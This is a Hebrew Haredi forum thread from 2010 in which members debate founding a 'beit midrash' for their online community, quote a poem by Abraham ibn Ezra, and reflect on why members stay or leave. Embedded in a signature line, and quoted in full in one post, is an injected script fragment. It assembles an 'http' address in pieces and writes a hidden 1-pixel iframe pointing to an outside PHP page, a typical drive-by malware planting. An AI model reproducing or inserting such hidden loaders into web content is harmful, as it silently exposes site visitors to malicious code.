בית פורומים עצור כאן חושבים

ביהמ"ד דחסידי עצכ"ח

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-28/12/2010 14:38 לינק ישיר 

אין חינוך לעצכחיות ואין מקום לבית מדרש עצכחי שכן אותם יש לגבש על בסיס תרבותי, ובניגוד ליומרות אלו ואחרות שהשאירו עקבות בחוקת הפורום, הרי שאין לנו בסיס תרבותי משותף למעט הצורך לדון בנושאים מסויימים, באופן מסויים, תוך חתירה לרמה מסויימת. 

כל זה מהווה מסגרת המצדיקה אולי הסנפת הרינג בצוותא מעת לעת ןחברות אד הוק, אבל לא מעבר לזה. 



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/12/2010 14:46 לינק ישיר 

עצכח כתב:
אין חינוך לעצכחיות ואין מקום לבית מדרש עצכחי שכן אותם יש לגבש על בסיס תרבותי, ובניגוד ליומרות אלו ואחרות שהשאירו עקבות בחוקת הפורום, הרי שאין לנו בסיס תרבותי משותף למעט הצורך לדון בנושאים מסויימים, באופן מסויים, תוך חתירה לרמה מסויימת

כל זה מהווה מסגרת המצדיקה אולי הסנפת הרינג בצוותא מעת לעת ןחברות אד הוק, אבל לא מעבר לזה. 



בדיוק.



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/12/2010 15:11 לינק ישיר 

עצכח כתב:
אין חינוך לעצכחיות ואין מקום לבית מדרש עצכחי שכן אותם יש לגבש על בסיס תרבותי, ובניגוד ליומרות אלו ואחרות שהשאירו עקבות בחוקת הפורום, הרי שאין לנו בסיס תרבותי משותף למעט הצורך לדון בנושאים מסויימים, באופן מסויים, תוך חתירה לרמה מסויימת. 

כל זה מהווה מסגרת המצדיקה אולי הסנפת הרינג בצוותא מעת לעת ןחברות אד הוק, אבל לא מעבר לזה. 


למה הכותב לא מזדהה לכל הפחות בניקו ? הסתר בתוך הסתר ?



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/12/2010 15:37 לינק ישיר 

כי מי שעצכ"חניק אמיתי מכיר את הסגנון וידע בדיוק מי בעל הניק. וככלל הוא מדבר בשם כולנו.

_________________

מודה ועוזב




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/12/2010 15:48 לינק ישיר 

.


כי מי שעצכ"חניק אמיתי יודע שכלל אין זה משנה מיהו בעל הניק. קבל האמת ממי שאמרה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/12/2010 16:41 לינק ישיר 

יש יש יש לי המנון לעצכ"ח זה לדעתי מאוד עמוק ויפה,

 http://benyehuda.org/ibnezra_a/276.html
 

נְדוֹד הֵסִיר אוֹנִי

ר' אברהם אבן-עזרא

 

                                       א

                                    נְדוֹד הֵסִיר אוֹנִי

                                    וְהִבְהִיל רַעְיוֹנִי

                                    וְשָׁם פִּי וּלְשוֹנִי

                                    אֲסוּרִים בַזִּקִּים

 

              ב                                                                   ד

    לְפָנִים בַּנְּעוּרִים                                           שְׂפָתַי אִם אָשִׂים 

   הֲכִינוֹתִי שִׁירִים                                           בְּהָרִים וּרְכָסִים

   בְּצַוַאר הָעִבְרִים                                           יְעוּפוּן בָּם סוּסִים

  נְתַתִּים כַּענָקִים.                                         יְרוּצוּן כַּבְּרָקִים.

 

              ג                                                                   ה

  בְּכָל מָקוֹם גַּרְתִּי                                          וְעַתָּה נָפַלְתִּי

   סְפָרִים חִבַּרְתִּי                                            לְעָפָר שָפַלְתִּי

   וְסוֹדוֹת בֵּאַרְתִּי                                            וְתַחֲנוּן הִפַּלְתִי

   וְכִרְאִי מוּצָקִים.                                          לְאֵל מִמַעֲמַקִּים.  

 

            ו                                                                 ט

   אֲכָלוּנִי עוֹפוֹת                                             יְקָר רָאֲתָה עֵינָם

   עֲדֵי הַקִּיפוֹפוֹת                                           וְאִם גֵרִים הִנָּם

   וְעַל רֹאש אַשְפּוֹת                                       מְזָוֵיהֶם חִנָּם

   בְּנֵי עַוְלָה זוֹרְקִים.                                      מְלֵאִים וּמְפִיקִים.

 

            ז                                                                  י

   וּבִרְבוֹת טוֹבָתָם                                          וְאָנֹכִי מוּסָר  

   יְכַחֲשוּ בַאֲבוֹתָם                                         לְעֵינֵי כָּל בָּשָׂר

   וְעַל זַך חַרְבוֹתָם                                         כְּבוֹד הוֹדִי סָר

   מְנִיפִים וּמְרִיקִים.                                     וְשֵן עָלַי חוֹרְקִים.

 

            ח                                                                יא

 וְאַנְשֵי לֵב מָטוּ                                            וְגָבַר מַחֲשָבִי

 וְהַיֹום נִמְעָטוּ                                               לְאָרְכִּי וּלְרָחְבִּי

 אֲבָל שָׁמְנוּ בָעֲטוּ                                          וּפֹה לֹא אֶפְתַּח פִּי

 אֲשֶר צִיָּה עוֹרְקִים                                       שְׁדֵי דַּעַת צוֹמְקִים.

 

        יב                                                                  טז

וְחַיָּתִי סָפָה                                                   אֱמֶת רֵעַ אֵין לוֹ

בְּעַם עִמְקֵי שָׂפָה                                           בְּדַעְתּוֹ וּבְשִׂכְלוֹ

וְנַפְשִׁי נִכְסָפָה                                               וּמַחֲמַדִּים כֻּלּוֹ

לְרַבִּי אֶלְיָקִים                                               וְחִכּוֹ מַמְתַקִּים.

 

          יג                                                                יז

גְּבִיר בְּמִשְׁפָחוֹת                                             שְׁמָעֵנִי אָחִי

גְּבִיר דֹבֵר צַחוֹת                                             שְׁמַע נָא אֶל שִׂיחִי

גְּבִיר מֵשִׁיב רוּחוֹת                                         אֲהֵבָתְךָ רוּחִי

תְּעוּדָתוֹ מֵקִים.                                              וְעֵדִי שְׁחָקִים.

 

            יד                                                               יח

וְעַל פִּיו נִשְׁמָעוֹת                                           וְלָמָּה נִתְעַבֵּר

צְפוּנוֹת כָּל דֵּעוֹת                                            בְּזֵד כִּי הִתְגַּבֵּר

בְּדַת אֵל,וִירִיעוֹת                                           וּמָה נוּכַל דַּבֵּר

תְּעוּדָתוֹ מֵקִים                                               בְּאֶרֶץ מֶרְחַקִּים.

 

           טו                                                                יט    

שְׂפָתָיו ספִּירִים                                            אֲנַחְנוּ עַם דַּלּוּת

אֲמָרָיו יַקִּירִים                                             וקַלּוּת עִם סִכְלוּת

וּמִפַּחְדּוֹ שָׂרִים                                              בְּגָלוּת תּוֹך גָלוּת

יְבֹאוּן בִּנְקִיקִים.                                          בְּכָל עֵת מַעְתִּיקִים.

 

            כ                                                                 כד      

בְּיַד אֵל לוּ מַתְנוּ                                           הֲלֹא הַמִּתְהוֹלּל

בְּעֵת שֶׁיָשַבְנוּ                                               בְּרִית קֹדֶש חִלֵּל

בְּמֶרְחָב, כִּי שִׁבְנוּ                                         עֲזֹב לוֹ וַיְקַלֵּל

לְחוּצִים וּדְחוּקִים.                                       אֲנָשִׁים צַדִּיקִים.

 

         כא                                                                 כה 

וּבְאֱדוֹם אֵין הָדָר                                        כְּמוֹ שִׁמְעִי, כִּשְׁמוֹ

לְכָל חָכָם הוּא דָּר                                       וְהַיַּחַשׂ עִמּוֹ 

בְּאַדְמַת בֶּן קֵדָר                                          וְחֶשְׁבּוֹן עִם טַעֲמוֹ

וְעָלֵינוּ שׁוֹרְקִים                                          דְּבָרִים עַתִּיקִים

 

        כב                                                             כו

וְאִלּוּ בָּא חָגָב                                             יְוָנִי בָּהֶם שִׂים

יְוָנִי בָּם שֻׂגַּב                                             יְהִי שִׁקּוּץ מַעֲשִׂים

וְרָכַב עַל כָּל גַּב                                          אֲשׂוֹחַח בִּיחָשִׂים

וְנֶחְשָׁב כַּעֲנָקִים                                        בְּהֵא הַדִּקְדּוּקִים

 

         כג                                                             כז

וְחֶרְפָּה וָבֹשֶׁת                                           וְעֵינוֹ עָנְתָה בוֹ

לְנֶפֶשׁ נִקְדֶּשֶׁת                                          עֲלֵי רֹעַ לִבּוֹ

אֲשֶׁר לֵבָב תָּשֵׁת                                       בְּקִרְבּוֹ שָׂם אָרְבּוֹ

לְאַחַד הָרֵקִים                                          וַעֲשֵׂה תַּמְרוּקִים.

 

         כח                                                        לב

בְּהִשְׁתַחֲוָיָתוֹ                                            וְרַבֵּנוֹ יִצְחָק

לְכָל רֹאֶה אוֹתוֹ                                        יְבֹרַךְ מִשַׁחַק

מְלֹא כָל קֹמָתוֹ                                        אֲמָרִים אֵלָיו חַק

וּמַשְׁפִּיל חַמוּקִּים.                                   וְהַיּוֹם נִמְחָקִים.

 

         כט                                                         לג

וְחֵרֵף בֶּן תּוֹרָה                                         וְאָמַר לַתּוֹעִים

וְכָל יוֹדְעֵי מִקְרָא                                     אֲנִי מָלֵא דֵּעִים

לְזֹאת אַנְשֵי מוֹרָא                                   בְּמוֹעֵד וּזְרָעִים

מְכֻסִים בְּשַׂקִּים.                                     וְנָשִׁים וּנְזִיקִים.

 

            ל                                                         לד

וְאֵיךְ יִקְרָא מִינִים                                  וְצַעֲקוֹתָיו רַבּוֹת

לְבָנִים נֶאֱמָנִים                                       וְנָגְעוּ עַד עָבוֹת

חֲסִידִים וּגְאוֹנִים                                    וְלֹא יֵדַע אָבוֹת

וְכָל שֹׁמְעָיו שֹׁתְקִים                               וּבַמֶּה מַדְלִיקִים.

 

           לא                                                        לה

וְאַיֵּה קִנְאַת רָב                                       כְּלִמַּת הַמַמְרֶה

שְׁלֹמֹה נֵר מַעֲרָב                                    צְעִיר יָמִים יוֹרֶה

וְלָמָּה זֶה לֹא רָב                                     בְּטָהֳרוֹת הוּא קוֹרֵא

לַמֵּתִים וְלַעֲשׁוּקִים                                וְטֹעֶה בַּפְסוּקִים. 

 

           לו                                                        מ

וְרֵאשִית פָּרָשָׁה                                     אֲהָהּ עַל זִכְרֶךָ 

עֲלֵי פִיהוּ קָשָׁה                                     הֲכִי מַאֲמָרֶיךָ

אֲשֶׁר הִיא נִדְרָשָׁה                                 בְּלִבּוֹת הוֹרֶיךָ

בְּפִי הַתִּינוֹקִים.                                    שְׁלָטִים נִמְרָקִים.

 

           לז

חֲשַבְנוּהוּ אָרוֹן                                      תְּהִלּוֹת הִשְמַעְתָּ

וְהוּא אַף גַּם חָרוֹן                                  וְתוֹרָה יָדַעְתָּ

וּבַבַּיִת חֶסְרוֹן                                        מְהֵרָה נָגַעְתָּ

וְעוֹד בּוֹ מַחֲזִיקִים.                                לְמִקְרָא וּפְרָקִים.

 

            לח                                                     מב

לְמֵבִין נִסְתָּרִים                                      הֲיָמִים שָׂבַעְתָּ

שְׁתֵי עֵינַיִם אָרִים                                  וּמָה זֶה פָשַׁעְתָּ

לְמַלֵּט נוֹתָרִים                                       וְלָמָּה גָּוַעְתָּ

חֲמוּדִים וַחֲשוּקִים.                               כְּמוֹ הַנֶחֱנָקִים.

 

           לט                                                     מג

וּבִנְיָמִין צָעִיר                                        בְּבֵיתְךָ שָׂטָן בָּא

קְנָאוֹת בִי הֵעִיר                                    וְרָעָתְךָ רַבָּה

וְכָאֵש שֶׁהִבְעִיר                                     לְזֹאת נֵרְךָ נִכְבָּה

קְרָבַי נִשָּׂקִים.                                      וְנַדְתָּ לִמְצוּקִים.

 

          מד                                                      מח

וְאָב מָלֵא רַחֲמִים                                 נְדִיבֵי עָם  עוּשוּ

יְשַלֵּם נִחוּמִים                                     וְאַל נָא תַחֲרִישוּ

לְאָבוֹת נִדְהָמִים                                   פְּנוּ פֶּן תֵעָנְשוּ

שְׁנֵי הַוָתִיקִים.                                    וְתִהְיוּ כַּף סוֹפְקִים.

         מה                                                    מט

וּמַשְׁחִית וּמְחַבֵּל                                הֲסָרָה צִדְקַתְכֶם

יְנֻדֶּה מִתֵּבֵל                                       הֲסָרָה חָכְמַתְכֶם

וּמִנַּחֲלַת חֶבֶל                                     וְזָר יִמְשֹׁל בָּכֶם

יְסוּרוּן מַזִּיקִים.                                וְשַבְתֶּם נֶחֱלָקִים.

 

          מו                                                  נ

וּפֹה תַמּוּ שִׁירִים                              תְּנוּ לֵב לַתְּלָאָה

עֲלֵי פִי נִדְבָּרִים                                בְּמַלְכוּת חַטָּאָה

וְאֵלֶּה הָאֲחֵרִים                                אֲשֶׁר אֵין בָּהֶם יִרְאָה

לְבָנִים וּשְׁרוּקִים.                            וּבָשָׂר לֹא בֹּדְקִים.

 

          מז                                                  נא

אֲני לֹא חִבַּרְתֶם                           וְאֵיךְ יִזְבַּח בָּשָׂר

בְיַד חָכָם שַׁרְתֶּם                             יְוָנִי כֹּל חָסֵר

וְעִם שִׁירַי שַׂמְתִּים                         וּמִדֶּרֶךְ אֵל סָר

 וְהָיוּ נִדְבָּקִים.                                וּמַשְׁלִיך חַלֻּקִים.

 

        נב                                                נו

יְהוּדָה הֶעָנָיו                                  בְּיָדוֹ יִפְּלוּ

לְעֵת בִּרְאוֹת עֵינָיו                          מְתִים שֶׁהִסְכִּילוּ

חֲזִיר בֵינוֹת שִׁנָיו                           אֲחֵרִים יַכְשִׁילוּ

וְאֹכְלוֹ בִּשְׁוָקִים.                            וְלָשׁוֹן מַחֲלִיקִים.

 

         נג                                              נז

נְאֹם זֶה אֶלְעָזָר                             מְרֵעָיו בּוֹ שִׂמְחוּ

וּמֹשֶׁה הַנֶעֱזָר                                וְיֶדְכֶם לוֹ פִתְחוּ

וּמוֹטוֹת כֹּהֵן זָר                             וּמַתָּנוֹת שִׁלְחוּ

עֲדֶנָּה נִתָּקִים                                וּמַלְּאוּ מִזְרָקִים.

 

           נד                                                נח

בְּבֵית לֵוִי תּוֹשָׁב                            וְאִם בּוֹ תַאֲמִינוּ

וּכֶעָרֵל נֶחְשָׁב                                 נְדִיבוֹתָיו בִּינוּ

וּמִי יֵדַע אִם שָׁב                            וּמִטָּה הָכִינוּ

וְאִם אֵין מַסְפִּיקִים                       וּמַלְבוּשִׁים נְקִיִם.

 

            נה                                              נט

בְּנֵי אֵל עִזְבוּהוּ                              תְּנוּ לוֹ שֵם יַלְדָּה

הֲכִי אֵין כָּמֹהוּ                              לְאִשָּׁה בַּת חֶמְדָּה

וּבַמֶּה נֶחְשָׁב הוּא                          בְּנוּ לוֹ בֵּית מִדָּה

בְּמִי אַתֶּם עוֹסְקִים                       עֲשׂוּ שָׁם אַתִּיקִים.

 

           ס                                                סג

וּמַאֲכָל גַּם מַשְׁקֶה                       לְהַצְהִיל הפָּנִים

תְּנוּ אֶל רַב שָקֵה                        תְּנוּ עוֹד עַרְמוֹנִים

אֲשֶר לוֹ יִנָּקֶה                             אֱגוֹזִים בִּתְאֵנִים

כְּמוֹ שַׂר הַמַשְׁקִים.                    שְׁבוּרִים וּמְנֻקִּים.

 

             סא                                        סד

וְטוֹב הוּא שֶׁיִלְחַם                         וּבֶאֱלוֹהַּ שָמֵן

בְּכָל יֹום לֶחֶם חַם                      לְבַבְכֶם יֵאָמֵן

 בְּמֶלֶךְ אוֹ פֶחָם                             אֲבָל עַם אֵל אָמָּן

כְּמוֹ בֶּן תַפְנוּקִים.                         בְּפָנָיו הֵם יוֹרְקִים.

 

        סב                                              סה

עֲשׁוּ עוֹף רִאשוֹנָה                         בְּצִלּוֹ תֶחֱסָיוּ

וְדָג בָּאַחֲרוֹנָה                               מְשַרְתָיו אָז תִּחְיוּ

צְלוּ עוֹד בֶּן יוֹנָה                            עֲדֵי עַד אִם תִּהְיוּ

קְנוּ לוֹ צִמּוּקִים.                           עֲפַר רַגְלָיו נוֹשְׁקִים.

 

                                  סו

                             וְעִבְדוּ זֶה הָאֵל

                             וְלָתֵת חֵן יוֹאֵל

                             וְעַתָּה יִשְׂרָאֵל

                             שְׁמַע אֶל הַחֻקִּים.

_________________




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/12/2010 00:12 לינק ישיר 

מרכא,
עצכ"ח היא חלק מעולם וירטואלי , זה כוחה וזו חולשתה (ולטעמי בדר"כ טוב שכך) או במילים אחרות אני מסכם עם דברי בעל הניק "עצכח".



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/12/2010 14:50 לינק ישיר 

להקים בית מדרש כזו הוא השתעשעות ילדותית וחוסר הבנה בסיסי של ענינו של ביהמ"ד
ייסוד ביהמ"ד אמור להיות תוצאה של ריבוי תורה הנובע מב' אופנים: א'- מדרך שמוכיחה את עצמה וגודשת על גדותיה ולכן יש לה צורך במסגרת נוספת על מנת לתת מקום לעוד תלמידים. ב'- סלילת דרך להארה חדשה בתורה בהתאם לזמן ולהשגחה האלוקית כפי שהיא מגלה עצמה בהגיגיהם ודעותיהם של מאורי הדורות שנהירי להם שבילי דארעא כשבילי כרקיעא. מתוך כך נגזרת דרכם החינוכית והאג'נדה הרוחנית של איך מיישמים את החזון הקדוש.

בית מדרש לא יכול להיבנות מחבורה של אנשים שהם תינוקות שנשבו בחברה שאין בה פרנסה רוחנית לנפשם רוחם ונשמתם. ככה לא בונים חומה. בית מדרש צריך להיות המשך של תורה שבע"פ, שמתגלית ביותר בנשמתם של מאורי הדורות - זה קנה המידה ולא פחות ממנו.

אני מבין את ההרגשה ולא מזלזל בה אך צריך לדעת שתורת אמת לא יכולה להיבנות ולהתגלות העולם מתוך המעמד הרוחני -אמוני המרוסק המבוטא כאן בפורום, שאני כואב את כאבו, שהוא כאבם של רבים משלומי אמוני ישראל, הוא צריך להיבנות מתוך הרטיה, הרפואה למכה, שלא מצאתי לה כאן אף לא זכר.

ומ"מ אני רואה חשיבות שהפורום כן ימשיך לתפקד כי הוא מבטא לעניות דעתי את זרמי הנשמות הדופקות בעוז ובעזות לגדלות של דעת אלקים, שזב מקום כאבינו האמיתי. ועל כן אני רואה עצמי חלק ממנו.

תוקן על ידי בעל_החוטם ב- 29/12/2010 14:51:04




תוקן על ידי בעל_החוטם ב- 29/12/2010 14:53:53




תוקן על ידי בעל_החוטם ב- 29/12/2010 14:56:37




דדווח על תוכן פוגעני

מחובר
נשלח ב-29/12/2010 15:04 לינק ישיר 

בעל החוטם
האופטימיות שנשקפת מדבריך על בתי המדרש הקיימים ממש משמחת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/12/2010 15:04 לינק ישיר 

כמה שאלות.

א. למה ביה"מ ל"חסידי" עצכ"ח? למה לא בוגרי/יוצאי או חניכי עצכ"ח??

ב. לתודעה. בביה"מ עצכ"ח תהיה עזרת גברים הנשים תשבנה במרכז.

ג. ירוחם מה הפירוש עצכחניק אמיתי הרי בעל הניק שמסתתר תחת הניק המשותף טוען שאין כאן תודעה משותפת אלא פלטפורמה מסויימת ומוגדרת .    גם אם נניח שישנה כזו הגדרה "עצכ"חי אמיתי " מנין אתה מסיק שהוא יכול לזהות אותו אולי העצכחי האמיתי הגיע לפורום רק לפני שבוע אפילו שהוא עצכחי במהותו??

ד. לעניות דעתי הבעל שם טוב גם היה לו פורום מסויים שכשהוא פתח לזה בית מדרש צמחה מזה החסידות על פלגיה זרמיה וזרמוניה...



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/12/2010 15:24 לינק ישיר 

פי
העצכ"חניק  אמיתי-הכונה היתה ותיק. לא כתבתי שהוא צודק- כשקבלן בונה בנין למגורים- לא תמיד הוא יכול לקבוע את סוג הדיירים, ואת השקפתם לרוח המקום. או אב כשילדו גודל- לא תמיד הולך בדרך אביו.

_________________

מודה ועוזב




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/12/2010 08:39 לינק ישיר 

בעל החוטם היקר,
אני פשוט מרחם עליך, אני לא מתכוון לעצם האשכול שזה רק להשתעשע,
אבל עצם מחשובותך שהחרדיות היא היא המסורת מסיני, ולא הרציונליות ?!

מי שרק לומד ולא עםארץ יודע שאין להשקפה החרדית שום קשר לתורה ולהיהדות שום כלום,
להפך השקפה הם נגד ההלכה ונגד התורה והיהדות,
רק מה ? הוראת שעה אולי,
והיות שיש עםארצים שאצלהם הוראת שעה היא לדורות והיא היא התורה ?! ולכן אנו סובלים כל כך,
הם לא מבינים שצריך בכל דור ודור לבדוק שוב האם ההוראת שעה רלוונטית לדור הבא,
זה לא חכמה גדולה להקים את היהדות מחדש אחרי חורבן הרוחני (ההשכלה) והגשמי (השואה)
בלי לקחת בחשבון למה ואיך הגענו למצב הזה,
כי אחרת ?! זה יקרה שוב ח"ו



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/12/2010 09:14 לינק ישיר 

שותף סוד

אני הרכיל מגלה סוד.

עצכח בהודעה המגדירה את הפורום כמפגש תרבותי עם סגנון, תכנים ורמה מסויימת היא של מנהלנו הרב סיינפלד שליט"א, שעדיין מגיח אלינו. (על דרך הבדיחה בלבד: רצוא ושוב).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < language="">




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/12/2010 09:21 לינק ישיר 

מיימוני כתב:
עצכח בהודעה המגדירה את הפורום כמפגש תרבותי עם סגנון, תכנים ורמה מסויימת היא של מנהלנו הרב סיינפלד שליט"א, שעדיין מגיח אלינו. (על דרך הבדיחה בלבד: רצוא ושוב). ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*


במידה ולא מדובר בעניינים אישיים, האם מיסטר סיינפלד (או אתה מיימוני) יוכל להאיר את עינינו לגבי סוג זה של מעורבות ? האם יתכן שהנושאים כבר נידושו וסיימו את עניינם ?



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/12/2010 10:50 לינק ישיר 

שותף סוד

האם כוונתך לשאול: מדוע סיינפלד לא מגיע לעתים יותר קרובות?

זה חלק מהשאלה: מדוע יש כאלו שתרמו לנו רבות ונעלמו?

ואולי צריך לשאול הפוך: מדוע יש כאלו שהגיעו ונותרו?

מסתבר שהתשובות לשאלות אלו הן חלק מהנושא באשכול.

מסתבר שצריך להתחיל מאלו שנותרו. נראה לי שהסיבה המרכזית היא אידאליזם. השניה, אהבת האמת. השלישית, קשרים חברות וירטואליים (ואולי לא רק. יש מפגשים חשאיים ליודעי סוד. כלומר סוד של פשט, סמיילי).

אידיאליזם: לעזור למי שבמצוקה פילוסופית. לעזור ליהדות ולתורה בעימות שלהן עם המודרניזציה. לעזור למי שבדילמה של הרמב"ם, בין דת לבין שכל (במובנים המודרניים שלהם). זו בהחלט מצוה, ואפילו מצוות רבות.

יתכן שיש להוסיף כאן את מה שציין הרמב"ם כתופעה פסיכולוגית: מי שהשכיל (במובן הרמב"מי) רוצה להעביר הלאה מן הידע שזכה לו.

אהבת אמת: רצון ללמוד עוד. לברר שאלות. יש כאן הרבה מומחים, הרבה ידע, והרבה יכולת, גם אצל אלו שאינם, עדיין, מומחים.

חברות: היכן תמצא עוד אנשים כמו המופלאים של הפורום? (הרשימה שלי תכלול מן הסתם את כל הכותבים כאן, או רובם, לפחות אלו הכותבים בקביעות שכך אני מכירם). ויש כאלו שיגיעו ויהיה זה רווח להכירם. (אזכיר דוגמא אחת ויחידה וגם בה אולי אני חוטא לכל האחרים שיכולתי להזכיר ולא הזכרתי: רדף השיג).

אז למה יש כאלו שעוזבים?

יש כאלו שהפורום הכעיס אותם, כי מתחילה לא הסכימו להנחות היסוד המתודולוגיות שלו. המוכנות לבדוק כל דבר, כולל הכל (כולל יסוד היסודות). והמוכנות להודות שכן, יש שאלות שאין עליהן תשובה, או תשובה החלטית, או שמתברר שמה שחשבתי שהוא חלק מחבילת היהדות הוא מאוחר/מזוייף/איסור/מטופש. בלשונו של אחד ממשתתפינו של פעם שעדיין מגיע להייד פארק אבל לא לכאן: יש שאלות שלא שואלים ויש תחומים שלא בודקים (אתנחתא החכם זכור לטוב).

ויש כאלו שחשו, אני משער, שמיצו את מה שיש להם לתרום או לקבל. או שהתשואה על הזמן שישקיעו כאן היתה קטנה מדי. או שדברים אחרים בחיים סחפו אותם.

אכן אני מתגעגע לכל הפורשים, החל באתנחתא ורב צעיר וכלה (מצד מעלתם הזכרתים לאחרונה) בוטו שלנו וסיינפלד, אשיות הפורום, שכמעט לא מגיעים הלום.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < language="">




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > ביהמ"ד דחסידי עצכ"ח
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 לדף הבא סך הכל 3 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.